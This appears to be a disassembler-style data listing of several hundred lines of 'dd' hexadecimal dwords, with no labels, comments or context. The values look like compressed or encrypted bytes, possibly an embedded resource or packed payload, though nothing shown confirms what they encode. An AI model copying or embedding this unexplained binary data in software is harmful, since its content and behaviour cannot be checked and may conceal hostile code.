dd 6D000A62h, 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h
dd 0E0FE626Bh, 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h
dd 1830A560h, 48B07742h, 0B6006C63h, 74417289h, 613A71h
dd 1C0696Bh, 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h
dd 0B82A0175h, 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h
dd 84CB00A4h, 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh
dd 7B2B4CE4h, 406A0B86h, 0BB505Ch, 44A19946h, 7D0D3951h
dd 14101E15h, 67FC80C3h, 28B4C28h, 3D00F00h, 0C2203C50h
dd 17403AF6h, 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h
dd 1D4775F7h, 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h
dd 1B147945h, 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h
dd 2D46DD69h, 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h
dd 14B8801Fh, 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh
dd 71830E54h, 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h
dd 1C8FD16Dh, 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h
dd 71110E44h, 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh
dd 0D0FA00A4h, 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h
dd 100E5BE5h, 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h
dd 8BA71D76h, 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h
dd 884E0055h, 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h
dd 0AA830E12h, 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h
dd 0FC5D8E40h, 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h
dd 84ED1C80h, 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h
dd 93FAB2AAh, 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh
dd 25378AAh, 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h
dd 0C40C21CCh, 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh
dd 0FF7D42B9h, 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch
dd 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h
dd 4ABF5CC3h, 760F09F8h, 545DF0Ch, 0FB80EB0Fh, 2D6995h
dd 0E885D959h, 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h
dd 365097h, 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch
dd 11758Dh, 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh
dd 8D5601B1h, 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh
dd 1B66A12h, 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh
dd 0F4BA3437h, 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h
dd 558BF1B8h, 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h
dd 32FEF4h, 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h
dd 14546C6h, 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h
dd 259C7DDh, 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh
dd 8C7CFFh, 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh
dd 15F4F48h, 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h
dd 11790114h, 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh
dd 40722EBh, 8053B84h, 12410C01h, 0E028C310h, 0F600D311h
dd 1CBA2F13h, 3455251h, 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh
dd 6C7E8086h, 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah
dd 0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh
dd 0DDAEFC00h, 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h
dd 0B45EBD03h, 0D224BFh, 60923949h, 9F6BE41h, 32E6B07h
dd 9E30E4BCh, 0D31840h, 244C283h, 0DCA12550h, 805D203Eh
dd 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh, 6EC0FA00h
dd 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h
dd 6D069022h, 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h
dd 0EC0257EBh, 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h
dd 837825E9h, 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h
dd 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h
dd 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h
dd 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh
dd 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh, 0AE4927Ch
dd 0A000275Fh, 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h
dd 82920E00h, 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h
dd 0D4DDC30Ch, 80072089h
dd 1DC0267Bh, 0B50098B7h, 437EE0h, 0F5AC921Bh, 0B0C1D73Bh
dd 450C532Ch, 0EFC25000h, 437FC6h, 2856A9F9h, 8F7D0EEh
dd 0A8517A00h, 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h
dd 3FE5F685h, 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h
dd 8024683Eh, 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh
dd 358498F2h, 28033372h, 9D863210h, 0E628039h, 7A2C1D11h
dd 8158CA2h, 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh
dd 75D0EC0h, 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h
dd 717CF190h, 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh
dd 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h
dd 6899D500h, 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h
dd 1253430Fh, 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h
dd 4FEC3F00h, 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h
dd 21B9F58h, 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h
dd 161F8AF4h, 8414258h, 1A91CB03h, 0AF46FCh, 0B454BF2Ah
dd 0D5E868E1h, 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh
dd 0E400E85Bh, 104914D5h, 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h
dd 752D3C01h, 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h
dd 0B3003E35h, 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h
dd 0A4A22404h, 4EC09015h, 71E4CB2h, 5C7AB3FAh, 0AC6607Eh
dd 0EB07EE47h, 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h
dd 2E77F098h, 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h
dd 9A70F31Ah, 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h
dd 5ADEF7FBh, 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h
dd 4D9C7DE0h, 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah
dd 0C400EB0Ah, 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h
dd 8AB08805h, 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h
dd 40FAE70Fh, 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h
dd 0FCCFD20h, 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h
dd 65E8F980h, 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h
dd 68A1C07h, 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h
dd 5C9FB9EFh, 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h
dd 0F880EE89h, 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h
dd 0E93C1703h, 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h
dd 0CC7EC0DFh, 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh
dd 0C6006A71h, 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h
dd 0C45420A7h, 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh
dd 2D008319h, 0B4CFCCE0h, 66ED10h, 0F8AD68E7h, 851C7DA4h
dd 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch
dd 0DE26001Dh, 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h
dd 0E0F9FDF2h, 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h
dd 0F516031Bh, 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h
dd 0B2566F20h, 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h
dd 534FC04Eh, 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h
dd 68AF9608h, 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h
dd 4A170094h, 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh
dd 130ED1F5h, 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h
dd 0AE7F7Fh, 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh
dd 37320025h, 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h
dd 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h
dd 40001B32h, 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h
dd 0A9A44526h, 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h
dd 3B06E98Ch, 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h
dd 0FF96EBE0h, 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h
dd 8130299Fh, 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h
dd 342D220Dh, 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h
dd 74AE9046h, 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h
dd 1C5815D1h, 0E3AC6Eh, 8F433614h, 8C9C46A2h, 8A40F101h
dd 814A3B08h, 603D840h, 428D0050h, 4D98EA0Ah, 2900E8F0h
dd 845E575Bh, 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh
dd 9AFC6A00h, 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh
dd 2FA4035h, 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h
dd 6547E788h, 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h
dd 70690052h, 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h
dd 0C805003Ch, 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h
dd 3C3E9A67h, 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh
dd 7E9AD9Dh, 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h
dd 0BAA068FCh, 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh
dd 4F77042h, 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h
dd 0E651C8h, 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h
dd 0D34900C4h, 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h
dd 1CE00B04h, 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh
dd 0FE48475Ah, 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh
dd 42F397B2h, 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h
dd 7728C342h, 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh
dd 0AC804582h, 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah
dd 3BD2AF24h, 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah
dd 0DB2493B8h, 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h
dd 5CDF1198h, 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h
dd 1E50084h, 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h
dd 0EAA2E809h, 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h
dd 0CCE8DDD8h, 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh
dd 0A0F12F10h, 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h
dd 945E6A0Dh, 41FD301h, 1CBE6096h, 31FCBD40h, 4C5001C0h
dd 0A80E6802h, 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh
dd 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh
dd 55D404E1h, 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h
dd 107F001Fh, 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h
dd 0D5380088h, 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch
dd 0FE3500F6h, 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h
dd 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh
dd 3F750029h, 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h
dd 22021845h, 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h
dd 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah
dd 527333D6h, 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh
dd 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch
dd 3B4C980h, 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h
dd 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h
dd 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h
dd 0F7E2C8h, 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h
dd 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h
dd 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h
dd 817A4400h, 586A07E2h
dd 0F0C43FE4h, 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h
dd 1C9EBA3h, 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h
dd 0EDEF69Dh, 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h
dd 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h
dd 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h
dd 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh
dd 32C30720h, 172C7440h, 1739997Ah, 74126601h, 0D9075913h
dd 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h
dd 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h
dd 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h
dd 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h
dd 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h
dd 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h
dd 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h
dd 318E800h, 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h
dd 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh
dd 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h
dd 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h
dd 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch
dd 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h
dd 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h
dd 171EB4Ch, 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h
dd 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h
dd 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh
dd 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h
dd 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h
dd 0C0010A6Ch, 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h
dd 8807EE66h, 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh
dd 0AC3C6942h, 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh
dd 0D7EE56AAh, 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh
dd 9F480DE0h, 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h
dd 0F99D00EDh, 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh
dd 0EA5657h, 3685944h, 30058B64h, 3C148500h, 421904F2h
dd 0C4080F02h, 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h
dd 0B27862C0h, 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h
dd 27C067C7h, 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh
dd 0F207E688h, 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h
dd 0FBEE12h, 4CBBD4DEh, 600F713h, 560B245Bh, 1CCB3A73h
dd 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch
dd 768006A6h, 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h
dd 582F0064h, 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h
dd 1E40087h, 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h
dd 0EB4599h, 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h
dd 68EC552Dh, 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h
dd 0D840501Dh, 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h
dd 221FEC7Ah, 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch
dd 83F41D11h, 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h
dd 0EE7EBDD2h, 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h
dd 424B01D7h, 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h
dd 7FD70059h, 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h
dd 0F313E2E2h, 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h
dd 97801F10h, 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h
dd 904F6400h, 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h
dd 5CBF5300h, 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah
dd 121F71D1h, 2B50296h, 89F4F287h, 0CAC00D14h, 680084E9h
dd 0A177EA90h, 490894h, 143EA259h, 0A30C6674h, 314F300Eh
dd 1F35CFBDh, 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h
dd 0B5022AB0h, 50093195h, 32836068h, 0DB5D0303h, 0A559974h
dd 2EB20400h, 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h
dd 5C6761EDh, 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah
dd 6A04C80Eh, 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h
dd 9734CFAh, 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h
dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h
dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
dd 0D7BC5Bh, 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h
dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h, 80041D3Bh
dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
dd 885444A6h, 2901164h, 2135E6Ch, 894193ADh, 0CF9BF0FDh
dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h, 7720C00h
dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h, 8A87C545h
dd 0D37BB4h, 52FB25D2h, 9264F2C3h, 4B4AFC13h, 694CA600h
dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
dd 18B91C53h, 35B8315h, 0A3D8FED3h, 0F598E011h, 51A4042Ch
dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h, 0F33B558Dh
dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h, 0D6991401h
dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h, 98427D63h
dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
dd 553A16h, 0FAED75F5h, 615097E0h, 0C30045Ch, 5A0689D8h
dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h, 0BD340310h
dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
dd 69F70059h, 1680827h, 2F000BD4h, 41EDCE80h, 152420h
dd 74664C94h, 1FFD389h, 840F3A00h, 113FA9F4h, 0BFDE0096h
dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h, 0F34E8218h
dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
dd 91A92C9h, 366E194Fh, 16C0D08Fh, 0A3CDF841h, 2134F600h
dd 0F4107D2Ah
dd 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h
dd 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h
dd 0B73A2274h, 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh
dd 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh
dd 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h
dd 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h
dd 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h
dd 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h
dd 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h
dd 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh, 0B6AB362Ah
dd 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch
dd 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h
dd 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh
dd 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h, 5B0033A7h
dd 1E759546h, 15A9Bh, 24871785h, 36FF1491h, 0C306F400h
dd 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch, 93DBE848h
dd 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh
dd 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h, 29891600h
dd 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h
dd 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h
dd 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h
dd 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h
dd 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh
dd 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h
dd 13505358h, 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h
dd 45244054h, 37120143h, 3570A985h, 7378F456h, 74160800h
dd 9CAE0D24h, 9A5E0EE4h, 834023A0h, 0BF42AAA9h, 21D62D00h
dd 0C5521ACAh, 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h
dd 3C20614h, 0A6F0997h, 0CAA11A9Ch, 983DF005h, 165C6B7Bh
dd 15C500E7h, 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h
dd 744A6000h, 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h
dd 0B40A7200h, 9427F8FCh, 807100E0h, 3C6C37D2h, 0E20085F5h
dd 0FB876B8Dh, 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h
dd 0EF4903E8h, 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h
dd 7807431Fh, 94FBA538h, 56E2B800h, 0D25A000Eh, 0E4471019h
dd 66037488h, 0A1E614C5h, 0F26F935h, 0A8AEB40h, 2851001Ch
dd 90135D1Dh, 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h
dd 28037575h, 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h
dd 0D344E7B1h, 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h
dd 4EE05DAFh, 3E7EB089h, 33705700h, 3593D588h, 97B50369h
dd 2C5F256Fh, 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh
dd 882FB580h, 4200D621h, 0D0396147h, 675B0Ah, 689FC274h
dd 282D35D2h, 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch
dd 1E3700F1h, 96303611h, 6800C020h, 80284D53h, 979EA5h
dd 184FEA8Fh, 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h
dd 0D025608Ah, 9B2341BEh, 9864B600h, 8B16116Ch, 53040748h
dd 62F5AB7Dh, 9E02368h, 0DF0093F7h, 0D89DBFEDh, 0EAD544FEh
dd 89AA00A3h, 40191802h, 58001A10h, 32C78E66h, 0B92B16h
dd 68444260h, 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h
dd 89D02B09h, 0E299868Ah, 688BD100h, 98FF85F6h, 0C4C500F7h
dd 54913CA3h, 41003BEBh, 0A5C70334h, 1DEE6151h, 40AD5708h
dd 8045A268h, 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch
dd 0CEB28B61h, 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh
dd 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h
dd 5E7600B5h, 6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh
dd 0A048F723h, 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh
dd 90680015h, 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h
dd 0FCBC015Dh, 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h
dd 7E1960Bh, 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh
dd 0E06FE80Bh, 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h
dd 85340F0Ah, 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh
